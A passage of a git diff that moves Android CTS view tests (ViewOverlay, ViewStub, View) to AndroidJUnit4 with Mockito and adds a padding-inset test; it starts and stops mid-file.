+        outline.setAlpha(0.123f);
+
+        view.setLeftTopRightBottom(1, 2, 3, 4);
+        ViewOutlineProvider.BOUNDS.getOutline(view, outline);
+        outline.getRect(queryRect);
+        assertEquals(new Rect(0, 0, 2, 2), queryRect); // local width/height
+        assertEquals(0.123f, outline.getAlpha(), 0f); // alpha not changed
+
+        view.setLeftTopRightBottom(100, 200, 300, 400);
+        ViewOutlineProvider.BOUNDS.getOutline(view, outline);
+        outline.getRect(queryRect);
+        assertEquals(new Rect(0, 0, 200, 200), queryRect); // local width/height
+        assertEquals(0.123f, outline.getAlpha(), 0f); // alpha not changed
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPaddedBounds() {
+        View view = new View(mContext);
+
+        Outline outline = new Outline();
+        Rect queryRect = new Rect();
+        outline.setAlpha(0.123f);
+
+        view.setLeftTopRightBottom(10, 20, 30, 40);
+        view.setPadding(0, 0, 0, 0);
+        ViewOutlineProvider.PADDED_BOUNDS.getOutline(view, outline);
+        outline.getRect(queryRect);
+        assertEquals(new Rect(0, 0, 20, 20), queryRect); // local width/height
+        assertEquals(0.123f, outline.getAlpha(), 0f); // alpha not changed
+
+        view.setPadding(5, 5, 5, 5);
+        ViewOutlineProvider.PADDED_BOUNDS.getOutline(view, outline);
+        outline.getRect(queryRect);
+        assertEquals(new Rect(5, 5, 15, 15), queryRect); // local width/height, inset by 5
+        assertEquals(0.123f, outline.getAlpha(), 0f); // alpha not changed
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/ViewOverlayTest.java b/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
index 32477c9..b1f7363 100644
--- a/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
@@ -16,64 +16,71 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Pair;
 import android.view.View;
 import android.view.ViewOverlay;
 import android.view.cts.util.DrawingUtils;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
 import java.util.List;
 
-@SmallTest
-public class ViewOverlayTest extends ActivityInstrumentationTestCase2<ViewOverlayCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewOverlayTest {
     private View mViewWithOverlay;
     private ViewOverlay mViewOverlay;
 
-    public ViewOverlayTest() {
-        super("android.view.cts", ViewOverlayCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ViewOverlayCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ViewOverlayCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mViewWithOverlay = getActivity().findViewById(R.id.view_with_overlay);
+    @Before
+    public void setup() {
+        mViewWithOverlay = mActivityRule.getActivity().findViewById(R.id.view_with_overlay);
         mViewOverlay = mViewWithOverlay.getOverlay();
     }
 
+    @Test
     public void testBasics() {
         DrawingUtils.assertAllPixelsOfColor("Default fill", mViewWithOverlay,
                 Color.WHITE, null);
         assertNotNull("Overlay is not null", mViewOverlay);
     }
 
-    public void testAddNullDrawable() throws Throwable {
-        try {
-            runTestOnUiThread(() -> mViewOverlay.add(null));
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddNullDrawable() {
+         mViewOverlay.add(null);
     }
 
-    public void testRemoveNullDrawable() throws Throwable {
-        try {
-            runTestOnUiThread(() -> mViewOverlay.remove(null));
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testRemoveNullDrawable() {
+        mViewOverlay.remove(null);
     }
 
-    public void testOverlayWithOneDrawable() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithOneDrawable() {
         // Add one colored drawable to the overlay
         final Drawable redDrawable = new ColorDrawable(Color.RED);
         redDrawable.setBounds(20, 30, 40, 50);
-        runTestOnUiThread(() -> mViewOverlay.add(redDrawable));
+        mViewOverlay.add(redDrawable);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(20, 30, 40, 50), Color.RED));
@@ -81,20 +88,19 @@
                 Color.WHITE, colorRectangles);
 
         // Now remove that drawable from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewOverlay.remove(redDrawable));
+        mViewOverlay.remove(redDrawable);
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testAddTheSameDrawableTwice() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testAddTheSameDrawableTwice() {
         final Drawable redDrawable = new ColorDrawable(Color.RED);
         redDrawable.setBounds(20, 30, 40, 50);
-        runTestOnUiThread(
-                () -> {
-                    // Add the same drawable twice
-                    mViewOverlay.add(redDrawable);
-                    mViewOverlay.add(redDrawable);
-                });
+        // Add the same drawable twice
+        mViewOverlay.add(redDrawable);
+        mViewOverlay.add(redDrawable);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(20, 30, 40, 50), Color.RED));
@@ -102,34 +108,35 @@
                 Color.WHITE, colorRectangles);
 
         // Now remove that drawable from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewOverlay.remove(redDrawable));
+        mViewOverlay.remove(redDrawable);
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testRemoveTheSameDrawableTwice() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testRemoveTheSameDrawableTwice() {
         // Add one colored drawable to the overlay
         final Drawable redDrawable = new ColorDrawable(Color.RED);
         redDrawable.setBounds(20, 30, 40, 50);
-        runTestOnUiThread(() -> mViewOverlay.add(redDrawable));
+        mViewOverlay.add(redDrawable);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(20, 30, 40, 50), Color.RED));
         DrawingUtils.assertAllPixelsOfColor("Overlay with one red drawable", mViewWithOverlay,
                 Color.WHITE, colorRectangles);
 
-        // Now remove that drawable from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(
-                () -> {
-                    // Remove the drawable twice. The second should be a no-op
-                    mViewOverlay.remove(redDrawable);
-                    mViewOverlay.remove(redDrawable);
-                });
+        // Now remove that drawable from the overlay and test that we're back to pure white fill.
+        // Remove the drawable twice. The second should be a no-op
+        mViewOverlay.remove(redDrawable);
+        mViewOverlay.remove(redDrawable);
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testOverlayWithNonOverlappingDrawables() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithNonOverlappingDrawables() {
         // Add three color drawables to the overlay
         final Drawable redDrawable = new ColorDrawable(Color.RED);
         redDrawable.setBounds(10, 20, 30, 40);
@@ -138,12 +145,9 @@
         final Drawable blueDrawable = new ColorDrawable(Color.BLUE);
         blueDrawable.setBounds(40, 60, 80, 90);
 
-        runTestOnUiThread(
-                () -> {
-                    mViewOverlay.add(redDrawable);
-                    mViewOverlay.add(greenDrawable);
-                    mViewOverlay.add(blueDrawable);
-                });
+        mViewOverlay.add(redDrawable);
+        mViewOverlay.add(greenDrawable);
+        mViewOverlay.add(blueDrawable);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 30, 40), Color.RED));
@@ -153,7 +157,7 @@
                 Color.WHITE, colorRectangles);
 
         // Remove one of the drawables from the overlay
-        runTestOnUiThread(() -> mViewOverlay.remove(greenDrawable));
+        mViewOverlay.remove(greenDrawable);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 30, 40), Color.RED));
         colorRectangles.add(new Pair<>(new Rect(40, 60, 80, 90), Color.BLUE));
@@ -161,23 +165,22 @@
                 Color.WHITE, colorRectangles);
 
         // Clear all drawables from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewOverlay.clear());
+        mViewOverlay.clear();
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testOverlayWithOverlappingDrawables() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithOverlappingDrawables() {
         // Add two overlapping color drawables to the overlay
         final Drawable redDrawable = new ColorDrawable(Color.RED);
         redDrawable.setBounds(10, 20, 60, 40);
         final Drawable greenDrawable = new ColorDrawable(Color.GREEN);
         greenDrawable.setBounds(30, 20, 80, 40);
 
-        runTestOnUiThread(
-                () -> {
-                    mViewOverlay.add(redDrawable);
-                    mViewOverlay.add(greenDrawable);
-                });
+        mViewOverlay.add(redDrawable);
+        mViewOverlay.add(greenDrawable);
 
         // Our overlay drawables overlap in horizontal 30-60 range. Here we test that the
         // second drawable is the one that is drawn last in that range.
@@ -188,23 +191,25 @@
                 Color.WHITE, colorRectangles);
 
         // Remove the second from the overlay
-        runTestOnUiThread(() -> mViewOverlay.remove(greenDrawable));
+        mViewOverlay.remove(greenDrawable);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 60, 40), Color.RED));
         DrawingUtils.assertAllPixelsOfColor("Overlay with one drawable", mViewWithOverlay,
                 Color.WHITE, colorRectangles);
 
         // Clear all drawables from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewOverlay.clear());
+        mViewOverlay.clear();
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testOverlayDynamicChangesToDrawable() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayDynamicChangesToDrawable() {
         // Add one colored drawable to the overlay
         final ColorDrawable drawable = new ColorDrawable(Color.RED);
         drawable.setBounds(20, 30, 40, 50);
-        runTestOnUiThread(() -> mViewOverlay.add(drawable));
+        mViewOverlay.add(drawable);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(20, 30, 40, 50), Color.RED));
@@ -216,32 +221,31 @@
         // off a redraw pass at some point. Here we are testing a subset of that - that the
         // next time a redraw of View / ViewOverlay happens, it catches the new state of our
         // original drawable.
-        runTestOnUiThread(() -> drawable.setBounds(50, 10, 80, 90));
+        drawable.setBounds(50, 10, 80, 90);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(50, 10, 80, 90), Color.RED));
         DrawingUtils.assertAllPixelsOfColor("Red drawable moved", mViewWithOverlay,
                 Color.WHITE, colorRectangles);
 
         // Update the color of our drawable. Same (partial) testing as before.
-        runTestOnUiThread(() -> drawable.setColor(Color.GREEN));
+        drawable.setColor(Color.GREEN);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(50, 10, 80, 90), Color.GREEN));
         DrawingUtils.assertAllPixelsOfColor("Drawable is green now", mViewWithOverlay,
                 Color.WHITE, colorRectangles);
     }
 
-    public void testOverlayDynamicChangesToOverlappingDrawables() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayDynamicChangesToOverlappingDrawables() {
         // Add two overlapping color drawables to the overlay
         final ColorDrawable redDrawable = new ColorDrawable(Color.RED);
         redDrawable.setBounds(10, 20, 60, 40);
         final ColorDrawable greenDrawable = new ColorDrawable(Color.GREEN);
         greenDrawable.setBounds(30, 20, 80, 40);
 
-        runTestOnUiThread(
-                () -> {
-                    mViewOverlay.add(redDrawable);
-                    mViewOverlay.add(greenDrawable);
-                });
+        mViewOverlay.add(redDrawable);
+        mViewOverlay.add(greenDrawable);
 
         // Our overlay drawables overlap in horizontal 30-60 range. This is the same test as
         // in testOverlayWithOverlappingDrawables
@@ -253,7 +257,7 @@
 
         // Now change the color of the first drawable and verify that it didn't "bump" it up
         // in the drawing order.
-        runTestOnUiThread(() -> redDrawable.setColor(Color.BLUE));
+        redDrawable.setColor(Color.BLUE);
         colorRectangles.add(new Pair<>(new Rect(10, 20, 30, 40), Color.BLUE));
         colorRectangles.add(new Pair<>(new Rect(30, 20, 80, 40), Color.GREEN));
         DrawingUtils.assertAllPixelsOfColor("Overlay with two drawables", mViewWithOverlay,
diff --git a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
new file mode 100644
index 0000000..60fa170
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.graphics.Rect;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.widget.LinearLayout;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewPaddingTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testPadding() {
+        LayoutInflater inflater = LayoutInflater.from(mContext);
+
+        LinearLayout viewGroup = (LinearLayout)
+                inflater.inflate(R.layout.view_padding, null);
+        int measureSpec = View.MeasureSpec.makeMeasureSpec(1000, View.MeasureSpec.EXACTLY);
+        viewGroup.measure(measureSpec, measureSpec);
+        viewGroup.layout(0, 0, 1000, 1000);
+
+        View view1 = viewGroup.findViewById(R.id.view1);
+        View view2 = viewGroup.findViewById(R.id.view2);
+        View view3 = viewGroup.findViewById(R.id.view3);
+        View view4 = viewGroup.findViewById(R.id.view4);
+        View view5 = viewGroup.findViewById(R.id.view5);
+        View view6 = viewGroup.findViewById(R.id.view6);
+        View view7 = viewGroup.findViewById(R.id.view7);
+        View view8 = viewGroup.findViewById(R.id.view8);
+        View view9 = viewGroup.findViewById(R.id.view9);
+        View view10 = viewGroup.findViewById(R.id.view10);
+        View view11 = viewGroup.findViewById(R.id.view11);
+        View view12 = viewGroup.findViewById(R.id.view12);
+
+        Rect defaultBounds = new Rect(view1.getLeft(), view1.getTop(), view1.getRight(),
+                view1.getBottom());
+        int insetLeft = mContext.getResources().getDimensionPixelSize(R.dimen.insetLeft);
+        int insetRight = mContext.getResources().getDimensionPixelSize(R.dimen.insetRight);
+        int insetTop = mContext.getResources().getDimensionPixelSize(R.dimen.insetTop);
+        int insetBottom = mContext.getResources().getDimensionPixelSize(R.dimen.insetBottom);
+        int insetStart = mContext.getResources().getDimensionPixelSize(R.dimen.insetStart);
+        int insetEnd = mContext.getResources().getDimensionPixelSize(R.dimen.insetEnd);
+        int insetAll = mContext.getResources().getDimensionPixelSize(R.dimen.insetAll);
+        int insetHorizontal =
+                mContext.getResources().getDimensionPixelSize(R.dimen.insetHorizontal);
+        int insetVertical = mContext.getResources().getDimensionPixelSize(R.dimen.insetVertical);
+
+        checkBounds(view2, defaultBounds, insetAll, insetAll, insetAll, insetAll);
+        checkBounds(view3, defaultBounds, insetLeft, insetTop, 0, 0);
+        checkBounds(view4, defaultBounds, 0, 0, insetRight, insetBottom);
+        checkBounds(view5, defaultBounds, insetLeft, insetTop, insetRight, insetBottom);
+        checkBounds(view6, defaultBounds, insetHorizontal, 0, insetHorizontal, 0);
+        checkBounds(view7, defaultBounds, 0, insetVertical, 0, insetVertical);
+        checkBounds(view8, defaultBounds, insetHorizontal, insetVertical, insetHorizontal,
+                insetVertical);
+        checkBounds(view9, defaultBounds, insetHorizontal, insetVertical, insetHorizontal,
+                insetVertical);
+        checkBounds(view10, defaultBounds, insetAll, insetAll, insetAll, insetAll);
+        checkBounds(view11, defaultBounds, insetStart, insetAll, insetEnd, insetAll);
+        checkBounds(view12, defaultBounds, insetStart, 0, insetEnd, 0);
+    }
+
+    private void checkBounds(View view, Rect defaultBounds,
+            int insetLeft, int insetTop, int insetRight, int insetBottom) {
+        assertEquals("Left", defaultBounds.left + insetLeft, view.getLeft());
+        assertEquals("Top", defaultBounds.top + insetTop, view.getTop());
+        assertEquals("Right", defaultBounds.right - insetRight, view.getRight());
+        assertEquals("Bottom", defaultBounds.bottom - insetBottom, view.getBottom());
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/ViewStubCtsActivity.java b/tests/tests/view/src/android/view/cts/ViewStubCtsActivity.java
index 4268837..e383c37 100644
--- a/tests/tests/view/src/android/view/cts/ViewStubCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/ViewStubCtsActivity.java
@@ -18,7 +18,6 @@
 
 import android.app.Activity;
 import android.os.Bundle;
-import android.view.cts.R;
 
 public class ViewStubCtsActivity extends Activity {
     @Override
diff --git a/tests/tests/view/src/android/view/cts/ViewStubTest.java b/tests/tests/view/src/android/view/cts/ViewStubTest.java
index bdb988d..3aef2bb 100644
--- a/tests/tests/view/src/android/view/cts/ViewStubTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewStubTest.java
@@ -16,85 +16,106 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
-import android.content.Context;
-import android.test.ActivityInstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
 import android.view.ViewParent;
 import android.view.ViewStub;
-import android.view.ViewStub.OnInflateListener;
 import android.widget.LinearLayout;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.xmlpull.v1.XmlPullParser;
+
 /**
  * Test {@link ViewStub}.
  */
-public class ViewStubTest extends ActivityInstrumentationTestCase<ViewStubCtsActivity> {
-    private Context mContext;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewStubTest {
     private Activity mActivity;
 
-    public ViewStubTest() {
-        super("android.view.cts", ViewStubCtsActivity.class);
+    @Rule
+    public ActivityTestRule<ViewStubCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ViewStubCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.viewstub_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
         assertNotNull(attrs);
 
-        new ViewStub(mContext);
+        new ViewStub(mActivity);
 
-        new ViewStub(mContext, 10);
+        new ViewStub(mActivity, 10);
 
-        new ViewStub(mContext, attrs);
+        new ViewStub(mActivity, attrs);
 
-        new ViewStub(mContext, attrs, 30);
+        new ViewStub(mActivity, attrs, 30);
     }
 
+    @Test
     public void testDraw() {
-        ViewStub viewStub = new ViewStub(mContext);
+        ViewStub viewStub = new ViewStub(mActivity);
         // if the function draw() does not throw any exception,
         // we think it is right, because it's an empty method.
         viewStub.draw(null);
     }
 
     @UiThreadTest
+    @Test
     public void testSetVisibility() {
         final ViewStub viewStub1 = (ViewStub) mActivity.findViewById(R.id.viewstub);
-        MockOnInflateListener listener = new MockOnInflateListener();
+        final ViewStub.OnInflateListener listener = mock(ViewStub.OnInflateListener.class);
         viewStub1.setOnInflateListener(listener);
-        assertFalse(listener.hasCalledOnInflate());
+        verifyZeroInteractions(listener);
         assertNotNull(viewStub1.getParent());
 
         // set GONE
         viewStub1.setVisibility(View.GONE);
         assertEquals(View.GONE, viewStub1.getVisibility());
         // does not call inflate
-        assertFalse(listener.hasCalledOnInflate());
+        verifyZeroInteractions(listener);
         assertNotNull(viewStub1.getParent());
 
         // set VISIBLE
         viewStub1.setVisibility(View.VISIBLE);
         assertEquals(View.VISIBLE, viewStub1.getVisibility());
-        //assure the inflate is called
-        assertTrue(listener.hasCalledOnInflate());
+        // assure the inflate is called
+        ArgumentCaptor<View> inflatedViewCaptor = ArgumentCaptor.forClass(View.class);
+        verify(listener, times(1)).onInflate(eq(viewStub1), inflatedViewCaptor.capture());
+        // We're expecting inflatedId attribute on ViewStub to take precedence over the
+        // id attribute defined on the inflated view
+        assertEquals(R.id.inflated_id, inflatedViewCaptor.getValue().getId());
         assertNull(viewStub1.getParent());
 
         // set INVISIBLE when parent is null
-        final ViewStub viewStub2 = new ViewStub(mContext);
+        final ViewStub viewStub2 = new ViewStub(mActivity);
         assertNull(viewStub2.getParent());
         try {
             viewStub2.setVisibility(View.INVISIBLE);
@@ -104,8 +125,9 @@
         assertEquals(View.INVISIBLE, viewStub2.getVisibility());
     }
 
+    @Test
     public void testAccessLayoutResource() {
-        ViewStub viewStub = new ViewStub(mContext);
+        ViewStub viewStub = new ViewStub(mActivity);
 
         viewStub.setLayoutResource(R.layout.viewstub_layout);
         assertEquals(R.layout.viewstub_layout, viewStub.getLayoutResource());
@@ -117,8 +139,9 @@
         assertEquals(-1, viewStub.getLayoutResource());
     }
 
+    @Test
     public void testViewStubHasNoDimensions() {
-        ViewStub viewStub = new ViewStub(mContext);
+        ViewStub viewStub = new ViewStub(mActivity);
 
         viewStub.forceLayout();
         viewStub.measure(200, 300);
@@ -131,30 +154,29 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetOnInflateListener() {
         final ViewStub viewStub = (ViewStub) mActivity.findViewById(R.id.viewstub);
-        final MockOnInflateListener listener = new MockOnInflateListener();
+        final ViewStub.OnInflateListener listener = mock(ViewStub.OnInflateListener.class);
 
         viewStub.setOnInflateListener(listener);
-        assertFalse(listener.hasCalledOnInflate());
-        viewStub.inflate();
-        assertTrue(listener.hasCalledOnInflate());
+        verifyZeroInteractions(listener);
+        final View inflated = viewStub.inflate();
+        verify(listener, times(1)).onInflate(viewStub, inflated);
     }
 
     @UiThreadTest
+    @Test
     public void testSetOnInflateListenerError() {
         final ViewStub viewStub = (ViewStub) mActivity.findViewById(R.id.viewstub);
 
         viewStub.setOnInflateListener(null);
-        try {
-            viewStub.inflate();
-        } catch (NullPointerException e) {
-            fail("should not throw NullPointerException");
-        }
+        viewStub.inflate();
     }
 
+    @Test
     public void testAccessInflatedId() {
-        ViewStub viewStub = new ViewStub(mContext);
+        ViewStub viewStub = new ViewStub(mActivity);
         assertEquals("Default ViewStub inflated ID is View.NO_ID",
                 View.NO_ID, viewStub.getInflatedId());
 
@@ -168,13 +190,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testInflate() {
         final ViewStub viewStub = (ViewStub) mActivity.findViewById(R.id.viewstub);
         final ViewParent vsParent = viewStub.getParent();
-        final MockOnInflateListener listener = new MockOnInflateListener();
+        final ViewStub.OnInflateListener listener = mock(ViewStub.OnInflateListener.class);
 
         viewStub.setOnInflateListener(listener);
-        assertFalse(listener.hasCalledOnInflate());
+        verifyZeroInteractions(listener);
         assertNotNull(vsParent);
 
         View view = viewStub.inflate();
@@ -185,43 +208,23 @@
         assertNull(viewStub.getParent());
         assertSame(vsParent, view.getParent());
         assertEquals(R.id.inflated_id, view.getId());
-        assertTrue(listener.hasCalledOnInflate());
+        verify(listener, times(1)).onInflate(viewStub, view);
     }
 
-    public void testInflateError() {
+    @Test(expected=IllegalArgumentException.class)
+    public void testInflateErrorInvalidLayoutResource() {
         final ViewStub viewStub = (ViewStub) mActivity.findViewById(R.id.viewstub);
 
         // mLayoutResource is 0
         viewStub.setLayoutResource(0);
-        try {
-            viewStub.inflate();
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        // parent is null
-        ViewStub stub = new ViewStub(mContext);
-        assertNull(stub.getParent());
-        try {
-            stub.inflate();
-            fail("should throw IllegalStateException");
-        } catch (IllegalStateException e) {
-        }
+        viewStub.inflate();
     }
 
-    private class MockOnInflateListener implements OnInflateListener {
-        private boolean mCalledOnInflate = false;
-
-        public void onInflate(ViewStub stub, View inflated) {
-            mCalledOnInflate = true;
-        }
-
-        public boolean hasCalledOnInflate() {
-            return mCalledOnInflate;
-        }
-
-        public void reset() {
-            mCalledOnInflate = false;
-        }
+    @Test(expected=IllegalStateException.class)
+    public void testInflateErrorNullParent() {
+        // parent is null
+        ViewStub stub = new ViewStub(mActivity);
+        assertNull(stub.getParent());
+        stub.inflate();
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 3006ddf..2550915 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -16,17 +16,35 @@
 
 package android.view.cts;
 
-import static org.mockito.Mockito.*;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
+import static org.mockito.Mockito.when;
 
-import android.graphics.BitmapFactory;
-import com.android.internal.view.menu.ContextMenuBuilder;
-
+import android.app.Instrumentation;
+import android.content.ClipData;
 import android.content.Context;
 import android.content.res.ColorStateList;
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorFilter;
@@ -42,9 +60,11 @@
 import android.os.Parcelable;
 import android.os.SystemClock;
 import android.os.Vibrator;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.TouchUtils;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.format.DateUtils;
 import android.util.AttributeSet;
 import android.util.Log;
@@ -53,7 +73,6 @@
 import android.util.Xml;
 import android.view.ActionMode;
 import android.view.ContextMenu;
-import android.view.ContextMenu.ContextMenuInfo;
 import android.view.Display;
 import android.view.HapticFeedbackConstants;
 import android.view.InputDevice;
@@ -66,13 +85,7 @@
 import android.view.TouchDelegate;
 import android.view.View;
 import android.view.View.BaseSavedState;
-import android.view.View.OnClickListener;
-import android.view.View.OnContextClickListener;
-import android.view.View.OnCreateContextMenuListener;
-import android.view.View.OnFocusChangeListener;
-import android.view.View.OnKeyListener;
 import android.view.View.OnLongClickListener;
-import android.view.View.OnTouchListener;
 import android.view.ViewConfiguration;
 import android.view.ViewGroup;
 import android.view.ViewParent;
@@ -85,9 +98,19 @@
 import android.view.inputmethod.InputMethodManager;
 import android.widget.Button;
 import android.widget.EditText;
-import android.widget.FrameLayout;
 import android.widget.LinearLayout;
 
+import com.android.compatibility.common.util.CtsMouseUtil;
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.internal.view.menu.ContextMenuBuilder;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
 import java.lang.reflect.Constructor;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -99,35 +122,38 @@
 /**
  * Test {@link View}.
  */
-public class ViewTest extends ActivityInstrumentationTestCase2<ViewTestCtsActivity> {
-    public ViewTest() {
-        super(ViewTestCtsActivity.class);
-    }
-
-    private Resources mResources;
-    private MockViewParent mMockParent;
-    private ViewTestCtsActivity mActivity;
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewTest {
     /** timeout delta when wait in case the system is sluggish */
     private static final long TIMEOUT_DELTA = 10000;
 
     private static final String LOG_TAG = "ViewTest";
 
